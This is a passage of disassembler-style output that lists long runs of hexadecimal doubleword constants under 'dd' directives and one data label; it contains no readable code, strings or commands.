225B90Bh dd 0CEE9CD01h, 4F3ADDD7h, 81723142h, 6237EF04h, 0D0AB0526h dd 4F5E9E85h, 4F18E4Ah, 0B52A3270h, 0C5FF9AE2h, 92BA13EAh dd 845F210Ch, 9CE1383Eh, 0A54EFDE2h, 0EA14A29Fh, 717E09B2h dd 0D5511A62h, 0CA0464Eh, 0F7284773h, 452FDD48h, 626554EEh dd 2F5F0BD0h, 0D4CAE5D8h, 0E1BACB2h, 81E90F8Ch, 5A0CAD7Ah dd 87240464h, 0AB66C361h, 0F74F2DCFh, 12BC4897h, 0F6E25208h dd 14667410h, 0BBBD5F7h, 827F1705h, 55B90FCCh, 0DCEB5F98h dd 0EF18180h, 2ED81FBCh, 9B3E1CAh, 12A03160h, 0E9036D3Ch dd 464D49h, 0AA1F73BEh, 30CCBB0Eh, 0EB2AE766h, 14277C09h dd 51205848h, 0B17E08C3h, 0F6D0AD1Dh, 6577FA05h, 0D8A7BBE0h dd 0A490ED44h, 5D05D309h, 0AADF8576h, 0A3C2BB34h, 68BD6A60h dd 0E90A5DA2h, 822A2C28h, 1EE998C9h, 58F330EAh, 4594E2CEh dd 0D0558525h, 8E95181h, 0B4F8BCD4h, 835672C7h, 0F8685163h dd 97110E72h, 0BC311ECCh, 0D2F5E513h, 5022D4D8h, 12D7CA45h dd 0EE4CA280h, 2893F09h, 0FECD0E9Eh, 2EBD839Ch, 31DA4071h dd 66041DE8h, 2C7C340Eh, 0A4C20FCEh, 23B7589Ch, 11F43125h dd 0C617E963h, 3FCE0325h, 4601B752h, 775CDDE2h, 7E1A1B25h dd 0C0CB5ADBh, 67F1B85Ch, 10DE3D4Ch, 0EF4855A8h, 0C640EB01h dd 605318A4h, 1E9E6D64h, 0A4F95C12h, 899C2CC9h, 5D402190h dd 0EDD89558h, 0E235158h, 40A13683h, 7F4AF281h, 0E2D8E721h dd 1A061498h, 0E00DC1Fh, 89D636B8h, 7B24E9D1h, 6842820Dh dd 8BD50979h, 3340726h, 3614770Eh, 0EC47105Fh, 897A5B27h dd 0B7D0D726h, 0B5E2F8AFh, 2D16F3F8h, 3312133Ah, 83AD4480h dd 0E0205E7Fh, 0B0BAEDB5h, 1FF06818h, 829272CFh, 0D53760DDh dd 10643E4Dh, 0AA783F16h, 320ED39h, 4BF665B8h, 33E183E7h dd 7950A4D2h, 2F245D5Fh, 4ED7CB21h, 5360BE00h, 54BD5150h dd 0CE458CFFh, 484F8F69h, 5EA10BD7h, 23DEB268h, 26117EECh dd 0A685EF14h, 847AE94Eh, 72BA622Dh, 3478CAFDh, 0FB266EBDh dd 409CE575h, 13BF8657h, 0FA79C079h, 0F65FC0B7h, 8EE91873h dd 38E2A3BDh, 5B50A598h, 5D128BFAh, 0C9E229EDh, 0A35E4D05h dd 0E4AC17FBh, 0D632E91Dh, 0D1EE41E3h, 8DCB08F0h, 0DC89580Bh dd 5BF5888Eh, 62B57E2Dh, 0FD4C201h, 35795552h, 0E11F00C9h dd 0A6235E68h, 0AE11B7E0h, 0BD7E2471h, 0E7CC1409h, 9A93D0DEh dd 722F2D71h, 0E95BD8D6h, 1AAD976Ch, 0D87EB3D2h, 0B1510A0Ch dd 0C661517h, 0B78FE95Bh, 0B21FF7EDh, 29D3B34Eh, 0F8770CBEh dd 4C0BB8DFh, 840BC224h, 560B5349h, 151DDD80h, 0C7F83D2Eh dd 7CC68B95h, 35C007A5h, 5FC3DEF6h, 5E014F5Ah, 381461E0h dd 437522E9h, 71A2716Eh, 5F396ECAh, 0B7D002F8h, 7F336B46h dd 0F4C2117Ah, 0D22728A9h, 7089ADD6h, 0A1B3C44Dh, 5900D95Bh dd 0A1A2F6B5h, 8959EAAh, 0FE017BECh, 4E2C0CAh, 1136770h dd 505AD708h, 60F638B0h, 7FB2713h, 8D0F8279h, 25BB000Bh dd 6E179E3Bh, 0B4F25C31h, 965D5B24h, 0F22B0B58h, 0E94AA481h dd 0C096579Bh, 1875C88h, 0B7081999h, 0B3E02F4Fh, 94AE9FBAh dd 0ECAB79F4h, 0D10B0C10h, 1BF6B82Dh, 29B34942h, 86B9AC58h dd 0D66E2B25h, 25E9F06Ah, 7FF19B55h, 0A82BCCB5h, 84FA4816h dd 10579D6h, 9531F0DDh, 57ACF891h, 99FB08h, 26F6CD81h dd 72C1306Bh, 2E6566B1h, 3011B12Ah, 502EA55Bh, 0E813A164h dd 259C7508h, 845A7076h, 0F8E8F195h, 25608410h, 0C032C247h dd 7E799CE6h, 0B4050586h, 0A8082771h, 2F07419Fh, 524C87B1h dd 0BE7A2805h, 51F38087h, 611902B9h, 3DE92A64h, 4C2596FEh dd 6166B5B7h, 0E21D88FAh, 0D41FD2F6h, 0E9E69C3Bh, 5F3383AFh dd 0ED01331h, 4102066h, 0F054E2Eh, 3E10DDBEh, 0B11D7B81h dd 7D8193BBh, 5F79F220h, 6AC02121h, 32956DC0h, 0C76608Bh dd 72A370DCh, 2D5CBE80h, 9F410C71h, 25A128F2h, 0A9B59A5Ah dd 88BA7402h, 5B13D64Dh dword_4EC14C dd 0B05C462Ch, 8C4B5E00h, 75398E0Fh, 0CC05F05h, 672CEE38h dd 22A89742h, 7459B7E8h, 6DC35EC9h, 0BBB94485h, 6EA60B31h dd 20AB2D0Bh, 34D0F39Ch, 4F2F7B72h, 0EDA641E0h, 606D0F22h dd 5167169Fh, 67452F3h, 185F1DECh, 3118D0E8h, 8C428B5h dd 35F81C30h, 0FF400BC1h, 0AC7E5932h, 1A29EBC2h, 542F73F9h dd 0D31709BAh, 0C79F276Eh, 2F29A0EFh, 2C5C483Eh, 0C22F5D2h dd 68018D49h, 8C2A1E2Fh, 64BA28A0h, 2E86B53Bh, 0FCCBFFE8h dd 98950CB9h, 47411E3Dh, 91B1F9E8h, 530E03BFh, 1DB6AF6h dd 9F79C8ACh, 0DCEC9341h, 4D34B64Ah, 3CC2EDCBh, 0C8BA027Ch dd 0C0374860h, 4502BA6h, 9E91739h, 708EBECFh, 0B72CEE40h dd 0FE494853h, 0A282C9E5h, 0FF594EC3h, 25BD2888h, 5D17C356h dd 4BFE7AC1h, 453C73BBh, 0CB60ED51h, 9989B76Bh, 6858EB54h dd 0F37E4E73h, 5B983DDCh, 7B42FC89h, 3BE0D186h, 0EB56292h dd 0A272D228h, 0A5F30FA9h, 7238C903h, 0EC92F46h, 71EE9048h dd 0DCF2B1CDh, 4FA2227Fh, 715D095Fh, 20AA8833h, 0E94E3C93h dd 0AD1D50E4h, 62D5CB57h, 90814264h, 0FAF154C1h, 60083638h dd 5EF17F78h, 5300F901h, 352E7DBBh, 69E7E903h, 0BA5C20A1h dd 27149320h, 5CC3821h, 3E600BCEh, 0EB07B5ACh, 0CEDFFFE2h dd 0E135CFBDh, 0ADB515B3h, 103EE64Bh, 281D49C1h, 53F7C9F8h dd 12F2A9C8h, 31CBDA05h, 0D2BE5FFDh, 92A7844Ah, 0E2D8C5ADh dd 0A9E982FBh, 205A72BCh, 0B1989DD0h, 2CAC69C3h, 0F948933Eh dd 2B925780h, 1985BF30h, 2D53CFAh, 6C60E97Dh, 4E46C29Fh dd 7C1B76BBh, 4FAFECF2h, 9FC7D727h, 2B491D80h, 9441A2E9h dd 0F47A9641h, 79E05B02h, 6B750393h, 2E08EFB4h, 250E268Eh dd 0FED1E05Ch, 88259C48h, 5316352Dh, 23F2201Bh, 291D0E7Eh dd 0B2C04E7Dh, 89B806EAh, 46E2C74Fh, 27B4F7C0h, 31516DE2h dd 28CAFDC1h, 4DB1D1ADh, 5905D65Fh, 0AD44D515h, 0B30648E0h dd 855A40CEh, 7155C949h, 0C0501D78h, 33CBF57h, 0E91044CBh dd 800E8F58h, 0F567CAC5h, 95ED63FBh, 48EA60F2h, 329CB17Ch dd 296B4282h, 0C04327Ch, 0F98DAA5Fh, 6889230h, 2D0AFA7Ah dd 0E9170B84h, 734FDA2Ah, 609AE6DEh, 485F0EF4h, 0AF215D0Dh dd 0E4DB2D1Eh, 0E9137EEFh, 5E419AF3h, 77711983h, 827C2420h dd 5E37A95Dh, 3245A51Eh, 89BED12Fh, 0B184F1F6h, 2A9DFBD9h dd 86E4DDCAh, 5AA53B54h, 639242ECh, 0D830AC16h, 6885D0A9h dd 6F31AA5Ch, 36301BB5h, 0A6714C81h, 1587B0B5h, 1766EE40h dd 877C6A05h, 0E2D76CEh, 0BA1F527Ch, 6F2406D0h, 0D370170Fh dd 58BB1FBBh, 15E2164Ah, 36210362h, 0FCE05D13h, 80975CE9h dd 0E5EF80C9h, 0FED71BF6h, 23F108CFh, 39883AD5h, 0C36544D6h dd 9A73DE09h, 0A0257E7Dh, 0C5E92C08h, 0C4BA8129h, 2A13BB59h dd 0BC6168B5h, 3F8F6DADh, 72EF7D05h, 17032479h, 0E31C4E5Eh dd 10CA9735h, 705BE91Ch, 4BDEF64Fh, 964AAC3Dh, 0D0E863A1h dd 8B5EBBD3h, 98459116h, 5C982BDCh, 5A53C91Ch, 0EB12D9FEh dd 0C3806B80h, 0AA06C56Bh, 284BBB59h, 61A942E6h, 8C2FA44Dh dd 0BC4ABB49h, 0A53369BFh, 6257DCCBh, 0CC5D471Ah, 2FF22406h dd 9B6BC704h, 0A2B24BF3h, 0D82102B5h, 0A5641F7h, 5424092Bh dd 568B3D79h, 0CB2E6658h, 8C303820h, 91B5A963h, 0BB205BD0h dd 907C9C77h, 0E3C00B46h, 29148506h, 0F304ADF0h, 0DBC5C73Bh dd 0D9D887E1h, 0CB827AD7h, 71948684h, 31E4A006h, 145C824Ah dd 0CAB2D03Ch, 0A7B2775Eh, 0FAF09C84h, 9D546E44h, 0D23968B2h dd 0C0809AD4h, 6ACA2597h, 35055D2Dh, 38CE2619h, 42420EFh dd 0BC09A5F8h, 0D26CA0E9h, 412C05ACh, 85896392h, 68938052h dd 734F1101h, 82DEB2F0h, 0A744075h, 0E94F1329h, 0B856BF6Ch dd 91C93E84h, 8968A488h, 44339C20h, 0EAC829D7h, 5DC5E9B6h dd 0A8C21BF4h, 9F2057B2h, 1362CFD1h, 1820294Ch, 4AB05DB6h dd 6500599Fh, 0EA1EC6EBh, 0CCEA6FD2h, 0D9276862h, 0B0C7A478h dd 0DCF48007h, 0D4814506h, 443A53F9h, 81F7F9FDh, 0C60DFEh dd 0C917E268h, 1D615543h, 0D357EA89h, 0D9E96205h, 3F4EB569h dd 0EF304CD7h, 1EE60C90h, 415EF721h, 0AC1A32C7h, 0BB0C8273h dd 0F71C4469h, 0F69BD1CBh, 0C0CD33BBh, 10047C28h, 4EA47895h dd 5CFADC55h, 9650534Fh, 687A10BFh, 0AFE18101h, 0EC762D31h dd 449FC17Eh, 0C4502486h, 9361583Ah, 1220BD80h, 0FC1FEE7Ah dd 256D486Bh, 8826596Bh, 0E032733Ah, 943B6006h, 0E11E501Ch dd 51766210h, 5407FE57h, 59D02F65h, 3D3281BAh, 4025720Eh dd 2E5F0541h, 9ED44F4h, 37D319CEh, 30B84900h, 18C04FAAh dd 0EFFB7C96h, 0B325EE9h, 0B9D6AD18h, 28B74649h, 5E815A5Ch dd 0E1628C38h, 0C4E8C24Ch, 0F4B25C76h, 0ED685701h, 3A6F7C6Ch dd 0B7EE2444h, 0D6EB1D1Ch, 0B9A856D8h, 0A5DD8F13h, 0CCB545AEh dd 41C37E24h, 0F63830C9h, 0F01292Fh, 534E0F8Fh, 68E9F4A0h dd 0FF618Ah, 79D30BACh, 0F8A2F701h, 575E0802h, 43F95355h dd 6D0B28E9h, 8031E580h, 0B4508D42h, 51661818h, 0F728EC88h dd 44D28582h, 37336300h, 4812CE2h, 0CA6ED7E3h, 0BA97FE24h dd 0D847A090h, 66E9254Eh, 0C3F00E89h, 4DD37832h, 0D0F2A42h dd 60CDB569h, 6316AD1Ch, 0F1B13DC2h, 0FAE90700h, 0DC53B770h dd 0D61194BDh, 0B482F24h, 532B74B6h, 3BC1AAF1h, 580444A3h dd 0EA3A0468h, 0DC807265h, 0B95063Fh, 6319E971h, 0D1A70D65h dd 0DA56A776h, 8940EC16h, 0CC793805h, 7E5D4C2Ch, 4E71860Bh dd 0F500D8FCh, 6820633Ch, 317E4E0Dh, 3DE6BF51h, 32CE0771h dd 0E0B26828h, 7E2B7251h, 6FB02F1Ch, 28CD1940h, 2C6AC841h dd 0FD0AB641h, 0E85AF588h, 0EF06CB19h, 0BD64EBC1h, 81A849E9h dd 80E8C04Ah, 511D34F6h, 0F59749B5h, 0FEF4A804h, 0D3B815Fh dd 0FB296348h, 8A65BCE9h, 85E089ADh, 5793C2CBh, 76960545h dd 0DD314641h, 0B47E215Bh, 0A3FC5713h, 5843859Dh, 0BAA409BCh dd 0E909DD8Ah, 3D949FB7h, 9FAD5B5Ah, 0AA124A89h, 0EC4ECBAh dd 552B5097h, 6F78EF97h, 0FE056A4Ch, 1D659921h, 86187AF6h dd 6C4B0C7Ah, 50056202h, 47AB7BE9h, 2713BF0Ah, 0C568EEB0h dd 38588104h, 50B5CE3Dh, 0C6DCC25Ah, 7B43217Ch, 68C50BE6h dd 34FD1703h, 85E913B3h, 5E97EDB6h, 0B506F986h, 0B038FE40h dd 0C69B330h, 64E27442h, 0AB4E2826h, 5B29D78Ch, 0F253A0D6h dd 71F35500h, 415CEB81h, 0C1251B89h, 22C84EE3h, 5E5E7A77h dd 0B8E41EB8h, 0C689139Ah, 4CB582D1h, 5805037Dh, 0FE75577Bh dd 80935D4h, 5AE87559h, 3D5FEF68h, 50676772h, 6031627Eh dd 0BDECEB68h, 3FE0DD80h, 10143958h, 7B509A2Eh, 0E8883DDAh dd 0C85BE627h, 3D2A5318h, 68598084h, 29095C2Ah, 5E01BE38h dd 5305A2B7h, 0FA754568h, 904C53CBh, 6354AE2Dh, 5ACB0B62h dd 0DDB6A69h, 0EDBB163Ch, 0CE4A7C1Fh, 0F2AB26C4h, 0F8F9CBFCh dd 0CC882F67h, 0A9F80FC3h, 18B7E530h, 0FCEE20FCh, 0CA681266h dd 1088E251h, 0E84EEA90h, 0E899B1DAh, 0B4669D97h, 0AB415F8Ch dd 19BCF47Ah, 31A9711Fh, 9084214Bh, 82E7BCCDh, 7FAE6840h dd 3F08545Dh, 4DD71507h, 0B29B6AA8h, 5AB2A03Fh, 5E37F42Dh dd 2071E195h, 0F2FF4246h, 255DB6E4h, 0CEFA4D76h, 517B25F8h dd 59A59F51h, 7E080964h, 0EECE4455h, 0C5B9819Fh, 0E819C538h dd 6B95835h, 0F768C08h, 0E076C531h, 0E4BC89BAh, 3DE78004h dd 0DA9E92C3h, 3BEA768Fh dd 2531A4A4h, 951894DFh, 5CC9B574h, 0B71307BCh, 82F704EDh dd 5D056111h, 13A312F4h, 1046855Ah, 6480612h, 1E656D10h dd 0C4E83388h, 0C59440FEh, 8E6AC183h, 0EFCE271Ch, 0C42B312h dd 51BDF878h, 2444AF0h, 1E7F0DAEh, 0F22266Eh, 48DA588Ah dd 0B92E4239h, 82EB0855h, 0EBBD5917h, 6170C810h, 0B9D2EEF8h dd 3C24070h, 144C5CCEh, 0EAF2CA01h, 0BA590884h, 0C926D3E2h dd 0D00EB8D3h, 893E5A66h, 0FC6DE1BEh, 8CBE5C92h, 34A8C6Eh dd 214A9FE7h, 6E401070h, 7384A031h, 1B03D607h, 0D3014C90h dd 68A8DF38h, 3334BFEh, 0B4E01B40h, 54F62F96h, 0E0051451h dd 210AC27Ch, 9B4962BAh, 723CCC00h, 5C03536h, 0E9284B0Eh dd 7F6EFCD6h, 0AD525B00h, 35E050Ch, 2E387F50h, 60825A3Eh dd 32BE5FA8h, 720F5B6h, 0D2FE9F4h, 2033CC52h, 5D5979D9h dd 8E2D7977h, 8E9F5168h, 0D30656E6h, 0E917121Fh, 20BF96A6h dd 0A7339C6Fh, 0D838357Eh, 0D7F0B25h, 152D85Ah, 0D119AB2Dh dd 68C32907h, 0B4B0B7A3h, 0FE2D7F6Ah, 7AE9100Bh, 0BBE38CEh dd 35150Dh, 0C707F13Dh, 82C0B71Dh, 0F582EE2Ah, 95171B8Eh dd 390881CAh, 0C8890159h, 9058C7C8h, 393FE7B8h, 20623B68h dd 698902CDh, 0D62F374h, 0C2D8763Fh, 655F01BDh, 0BEDC091Ah dd 0DEA83E13h, 0C3B59ACFh, 0E9D7982Ch, 0B8E44A0Ah, 1A0C9E6Eh dd 9EB319Dh, 344A7BC2h, 0E9F1107Fh, 2F6CB680h, 0ACEF4B5Ch dd 3BB2D1E2h, 6AA580A8h, 86039B68h, 0C569EA77h, 0EC8A0408h dd 43CD6802h, 2375C757h, 13CB9082h, 76C95670h, 0DF251341h dd 58E70800h, 30CC18B0h, 0C48A9228h, 1671EC99h, 1F0780E0h dd 0BDF26C3h, 8ED1F838h, 2503DA88h, 0C3851C62h, 0A2F5B484h dd 5CBCB292h, 0E915195Bh, 3A5F115Dh, 0AD36D32h, 3E3408DCh dd 60ACC425h, 0EAC0132Bh, 0BFE68003h, 5AD58818h, 0A82EF1CAh dd 95A5F816h, 68123CBCh, 289241A4h, 1FF22560h, 0D956EDEEh dd 99C8CC13h, 174B84D3h, 0A46C8610h, 0CABB0B94h, 7258170Fh dd 6098C3B4h, 7C2414Fh, 6E5E523Bh, 673BF4BCh, 0AB601125h dd 0CD2222D0h, 35029D2Eh, 7EC0C36Eh, 730EABF3h, 6BE948E3h dd 419C7794h, 26B3294Dh, 3142635Eh, 847488FCh, 54E7770Bh dd 60E22E3Dh, 590F9B2Dh, 28805F58h, 46950705h, 0DD39FADh dd 4889FB15h, 0E749104Eh, 1F073500h, 852D4169h, 0EF1BC417h dd 184304BFh, 0F6158882h, 0D22BCD48h, 0ABD8C2AAh, 7E64AB49h dd 3D2E4104h, 63840F01h, 0FB0CA741h, 56C4391Ch, 2565BE00h dd 0E955668Ah, 0C85A5E47h, 0A4A051B9h, 4A251C92h, 5D047F7Ah dd 16D93B1h, 921F9E10h, 0DD50525h, 57F5F96Fh, 0D2455DFEh dd 9BF273Eh, 17E57D11h, 0CC89F549h, 5E879A55h, 4FD4577h dd 13D07CA0h, 0E004F5A8h, 0FF54F9ECh, 0BA3C85h, 1053C33Bh dd 85D855B1h, 80CB9936h, 0AF952368h, 5880CA5Fh, 0F0B25893h dd 27476882h, 0B85D18F7h, 101914E4h, 0EF799F53h, 4BBE9B7Fh dd 45C74EBh, 77E66EAh, 5B72D589h, 0E3DE5463h, 0A57B6FA7h dd 0E7517340h, 0F14E82B0h, 9EB05A52h, 0A6FCE9B7h, 825304EAh dd 6E74AA36h, 7F326072h, 9FB117A9h, 0FE7F1621h, 3C0B4461h dd 0B065607h, 6324547Bh, 694F4796h, 22AF51BCh, 9119A398h dd 0B07E6451h, 7705F263h, 26E9179Ch, 0A2B85ED0h, 16EE0D23h dd 0FD0BA3BAh, 5FE45065h, 88C08152h, 3ADC283Eh, 5B4CFE5Eh dd 9360B25Ch, 0D9462DAFh, 4ABD0CC5h, 41C4498Ch, 5625667Ch dd 0D290F209h, 0DBB7D9A4h, 0B663885Fh, 512D6806h, 97B5F015h dd 3891C1D1h, 40ECB84Eh, 0EB5EC593h, 0AA5E378Ch, 0FA908595h dd 0C72944D0h, 0F22EE581h, 6C325DCh, 0BF44614h, 296D2D31h dd 6C40BBFCh, 24DC5D4Fh, 103CE09h, 0D07894C6h, 1A3A3CA7h dd 0C099970Fh, 0F0055A08h, 4C1C273Bh, 7094F42h, 80D85B07h dd 7290027Bh, 6CBFF498h, 78FA9FA5h, 30F0012Fh, 9C29CBE7h dd 1EDCCBB2h, 10577800h, 0C772F581h, 0F93FE90Dh, 6EDE4A11h dd 0D55B6FA3h, 0EDFC8290h, 946869h, 1EAEEF81h, 0C91FC4E8h dd 0FFD2A2FCh, 0AA407AB0h, 62AE2F68h, 0D0C0A899h, 49413D2h dd 0BDEDBB04h, 0A1032282h, 47AA68E9h, 0C94AB72Fh, 0F2B78652h dd 0F8335233h, 0EAF53512h, 0B3B52CDh, 7B8429CBh, 0E420A852h dd 261DB5A4h, 0C16E344h, 0DACFDE38h, 4F40B0B7h, 0EB80803Ah dd 0B6520C0Bh, 0C187FD8Ah, 0F3099EEEh, 79130EF0h, 60BEC328h dd 5190686Eh, 0C6F0DFA6h, 35933F5h, 7506E4B9h, 21BBC438h dd 2EA48E7h, 2F8E164h, 4E6D1070h, 58D2134h, 90393B3Ah dd 0C368E189h, 114C65Fh, 40DC5588h, 51EE5CE9h, 686F85A3h dd 5FA5C4E2h, 127A7114h, 3042B54h, 0DA7CF66Eh, 84B141B3h dd 41F73CCh, 1BFB738Bh, 55C948E8h, 1400BB09h, 0B8E95D64h dd 9F409D5Bh, 7A04E181h, 286C7DBAh, 0B383C4Ah, 2C6052FAh dd 688D85D5h, 5CE42585h, 92C19981h, 19FE257h, 2004D0F6h dd 923AC228h, 664A4187h, 4AB89657h, 7640B25Ah, 71432B97h dd 0E7350ABBh, 70E30348h, 0F4272EB3h, 14F40EA1h, 0C2C0AA01h dd 0A2064A41h, 18497D3Ah, 8C108EB8h, 670780B4h, 80B72A80h dd 8DC579Ah, 0DB1816D8h, 9308C492h, 8640068Ah, 0BE363120h dd 14F3808h, 23018D96h, 0CA5001E8h, 90C87E01h, 8B10F321h dd 3C82184Bh, 0CE18D750h, 18108108h, 0D20A9E0h, 0BA08C6FBh dd 5D201828h, 276D31B8h, 9852C210h, 7E191708h, 6135807Bh dd 0A7DA10C6h, 58673108h, 15F9118h, 0C5016ABCh, 3F088CE6h dd 63D02029h, 0AA95086Dh, 0A6911818h, 80D95408h, 581C99Fh dd 552818F7h, 90D60850h, 0C6A0E580h, 896A520h, 91887B33h dd 0C4081026h, 869F1020h, 2894A418h, 8C6784Dh, 20189AFBh dd 0A23193D2h, 4D88108Bh, 1DA088Dh, 75319839h, 0A95E3971h dd 4C012CD0h, 6DF80190h, 888CF301h, 0CFD1518h, 0E710695Eh dd 630C7440h, 6B94087Fh, 88671810h, 103D2018h, 6480E7D5h dd 0AA08008h, 97D308C4h, 2063F706h, 205F7820h, 0BE209980h dd 623A3137h, 9915B008h, 77396451h, 63F00888h, 7FE13619h dd 0A3938C52h, 18F0529Ch, 8FC6110h, 4B80677Ch, 73ED80EBh dd 0F9956981h, 0CA198C8Fh, 0B8AF085Dh, 51763291h, 821F0298h dd 10024E03h, 10E35318h, 1E24DA37h, 6BF18860h, 280C770Ch dd 0D89D405Bh, 0D104F67h, 66FB081Ch, 2069C96Dh, 31252120h dd 1810AF41h, 0D99990BEh, 10933A10h, 0C473751Ah, 69F82F1h dd 49109462h, 7832C0EBh, 64481379h, 18C48702h, 96068947h dd 8B201055h, 176320C4h, 20A6C620h, 0C325D68h, 2E9E1BBh dd 5003FD0Dh, 7D3920D4h, 20D37720h, 0F25472C7h, 84A880FCh dd 0D8A94C96h, 5228258Fh, 0B4A32120h, 81009BEh, 0DA102351h dd 48F81022h, 10912810h, 0A0154702h, 5520F0DFh, 0AEF83354h dd 0CE20009Ah, 56742091h, 71515C20h, 0E68581E0h, 88F81869h dd 84BEE08h, 8E08D845h, 5C5E1263h, 209CEA94h, 0D9203B33h dd 298D20E4h, 0FC9C6009h, 5FA491E8h, 4D3D6970h, 0FA596347h dd 10445519h, 752CF03Bh, 13EB020Ch, 6FB90E89h, 5403DA7h dd 408F4401h, 0C90B4902h, 0C38BF775h, 0DE408FC7h, 0BCB9F003h dd 0C0338FC3h, 4FB10F01h, 0AC2C9330h, 2DC94FEDh, 7A346E44h dd 0C5BF3C30h, 5A31EE05h, 0ED63AC16h, 5C685300h, 5B2B5669h dd 2A2508FEh, 60197501h, 673F05Ch, 575918C5h, 7409483h dd 0E7C15E61h, 476E9207h dd 1176C575h, 9FE90D5Bh, 0A26B129Ch, 101CBA1h, 40BE68C1h dd 37AE4E54h, 0A0DF69D4h, 4068A415h, 0EA012E69h, 3F2E8435h dd 7040EF67h, 8BCAE4F1h, 5BE2BAA6h, 5F9ADA5Dh, 0C9E9864Fh dd 256252DDh, 10DE4CC3h, 25AC5ACBh, 0A756C50Fh, 0E46066EFh dd 0D4D4970Ah, 0E4A80450h, 0F7E91780h, 8523215Ch, 0B20C8E7Bh dd 5CD40FCDh, 2858E300h, 0CEB80CBh, 829CE994h, 0EF0B8887h dd 9B212C68h, 0E0F9D3B7h, 632EE9CAh, 0F0341896h, 444B01B9h dd 0D331A8CCh, 0E22DD8ECh, 0EC803A00h, 660F5A76h, 0A4DFB450h dd 40FA1336h, 3E772FC5h, 0E8975814h, 7D92E9D1h, 0EF58BFF4h dd 0ECD51CB5h, 4E420BF7h, 0E07E7383h, 0B60FC440h, 11E89F52h dd 1801B8C3h, 0E95602E8h, 0E187D4B4h, 93D08850h, 0BC270D59h dd 67FB55h, 604D113Bh, 0D74BFAE9h, 0B7C4D9A8h, 680F909Dh dd 98B5773Fh, 7A03DBBBh, 0A0F74B1Bh, 0BE8047B8h, 17261932h dd 1C41435h, 0F1C15B66h, 0B7AB1CE4h, 0C01C11D9h, 0FD7FF60Bh dd 8AA19216h, 11012E3Bh, 52509EB3h, 0C9AA71E4h, 15D71CA1h dd 0C18B3BFBh, 0ABD45102h, 0EAE959C0h, 0A430D716h, 7D2D685Ah dd 0BCCD512Fh, 433909FCh, 7309E921h, 31126C72h, 0CE16C22Ah dd 709EBEF0h, 0D67E95EBh, 0C0E5566Bh, 2EDF02AEh, 0B8505B00h dd 25D119C5h, 5DBE0456h, 0AF4A731Bh, 222DEC0Fh, 7DAC7EFBh dd 0C25537E2h, 4E6DF0Bh, 0A8E9533Fh, 0C4A0E240h, 49257E30h dd 89257C69h, 52685AD6h, 51951854h, 5E05BC7Fh, 0E8011B66h dd 5F0FB67Dh, 0E512C7E9h, 93EA0428h, 7C271455h, 0FEE8224Fh dd 0D7BA43E6h, 0DA126E06h, 1969296Fh, 0B3555DE9h, 9F34ECEBh dd 8D962D7Ah, 41EDE978h, 0AE3082F6h, 7E0F5E7Eh, 82541648h dd 807D43C4h, 422AC61Bh, 26FBFA1Bh, 406C010Ah, 67136856h dd 5E1D4A71h, 47C5CE81h, 64B83CA2h, 0E0F9922Dh, 0FC67A7BBh dd 2450D37Bh, 0DC824084h, 3CD0EABh, 0E475F176h, 0FFB6936Ah dd 8824528h, 0B05AB7DCh, 701EE94Eh, 0E67BE156h, 0CE502554h dd 32AA2DE0h, 0EE0EB7D2h, 0D8573355h, 1A44F8A9h, 8C5D1CBDh dd 47770709h, 1508E6Ah, 0D196DA34h, 361EF96h, 3281DCB2h dd 0F9041FB9h, 7E497947h, 0EA9D4F81h, 9F38E0DDh, 0E33145C4h dd 640F046Bh, 0FBC7696Fh, 4884814h, 20451E9Fh, 4E34CB2Bh dd 0E5C9D9DCh, 692228FBh, 1B770AAFh, 0D32BD952h, 7BD7F701h dd 7AF17EC0h, 0B0317899h, 0ACDA3603h, 0F9908E37h, 0FC3AEC41h dd 0F3ABF475h, 32EB93EFh, 0D155FBD9h, 23DF6B98h, 182ACED2h dd 633878B7h, 417FDBC3h, 4EB51C4Bh, 0C3E90802h, 0F3271E02h dd 37B5C15Fh, 4D4A6668h, 2144E08Ch, 8D2FBF2Ah, 40DEBD0Fh dd 204FE6D0h, 13E91A8Dh, 0D17634D8h, 395EB820h, 0DCD0E5B2h dd 0CDB922Fh, 0BDCF123Dh, 0E05B1F4h, 18A468F5h, 3B034EA0h dd 62B55E71h, 50B1FDCFh, 366EACCh, 0EE01B0A0h, 4D095880h dd 2DC034D8h, 629B5916h, 2513E0EAh, 43BC153Ch, 6B78E85Ah dd 63AB4C2Ch, 0D5319725h, 0D2F7EA90h, 32AC04D3h, 0A40626h dd 1BBCCF9h, 1FA6F231h, 0D9B6432Fh, 80D7A5D1h, 20685C18h dd 3F3D9358h, 0FBE3DF97h, 0DDF8ED39h, 0BD017026h, 5FD683ABh dd 4A279AA6h, 0ECC1012Eh, 0EED86C75h, 4763131Eh, 446A546h dd 6143CC08h, 2D9CE24Bh, 18EA7D81h, 0DC3CB94Bh, 0B25869F1h dd 5EF21738h, 70ADE416h, 0A3389A84h, 6DBC4A37h, 1667FA7Ch dd 0E1D164h, 8B6BBD15h, 0D960F71Bh, 6C5558A8h, 0AEB5C205h dd 4877C19Ah, 8312BBDAh, 2FB0F5F3h, 514C578Dh, 37AA003Fh dd 0C1892203h, 0CD310758h, 0A82D59h, 0E82944D5h, 3F070551h dd 2D003FCAh, 3F476E64h, 29586B68h, 41E8D84Fh, 21AA2558h dd 0EE003CFEh, 870EA1E3h, 0B2F35E89h, 3D4DC5AAh, 0CFF54E89h dd 3372B900h, 4132281Eh, 67C7C981h, 6F210CE7h, 0C93F77E9h dd 26FCE011h, 0BDBE8192h, 0E6570345h, 4A420AE0h, 799AB19Fh dd 7E98846Ah, 25CF3CEAh, 658A5B18h, 304BDD32h, 0C00C304Dh dd 234DF70h, 81ADF01h, 6814010Ch, 0B1766C21h, 0A9469602h dd 0EAE3C164h, 607FE09Ah, 0B849DBEBh, 5DB981FFh, 3E2C092Ah dd 0B2682C60h, 0B6500B54h, 0EED00F03h, 9F7BCE80h, 0B0500150h dd 522C04B1h, 87303F34h, 8BF405C0h, 0E3281F5Ah, 95A668Eh dd 96673C3h, 1CDF1007h, 4A52FC6Dh, 5864BEFAh, 2B1021ABh dd 344B2EE5h, 0DA5F85EBh, 2BA818ABh, 0F99D575Bh, 0E6FF5A0Fh dd 69EE30D7h, 5B66F9B5h, 50D9F60Eh, 0B8C0ECB4h, 4FE43980h dd 5381F4B8h, 0B74EB551h, 0E9EFC011h, 3EF31635h, 0E84674AFh dd 0C1AB06Eh, 9DC9501h, 32E6E88Ch, 0C4359452h, 0B0E3BE5Ah dd 0A046EF97h, 316A091h, 217C26BBh, 35D84367h, 0ABB1014Ah dd 6A685200h, 4A3CD40Fh, 0E28AE45Ah, 990DB20Bh, 0FC4F8427h dd 737CF812h, 